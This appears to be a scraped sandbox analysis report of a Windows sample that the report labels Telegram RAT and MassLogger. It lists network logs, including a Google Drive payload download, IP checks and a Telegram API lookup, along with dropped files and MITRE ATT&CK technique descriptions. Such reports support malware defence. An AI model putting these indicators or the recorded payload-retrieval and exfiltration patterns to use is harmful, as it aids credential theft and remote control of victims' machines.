Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39566A68h	5_2_395667C0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39561250h	5_2_39560FA8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39565908h	5_2_39565660
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 395630B8h	5_2_39562E10
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39563968h	5_2_395636C0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then push 00000000h	5_2_39A9E7C8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49819 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49875 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49785 -> 142.250.181.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xXUnP7uCBJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\Antndelsens\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Antndelsens\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Antndelsens\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Antndelsens\prepares.pli

C:\Users\user\AppData\Local\Iw\Antndelsens\waister.Kni

C:\Users\user\AppData\Local\Iw\Zeuzerian.Sol65

C:\Users\user\AppData\Local\Temp\nsgC0DB.tmp

C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
xXUnP7uCBJ.exe

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 701A1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004032DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre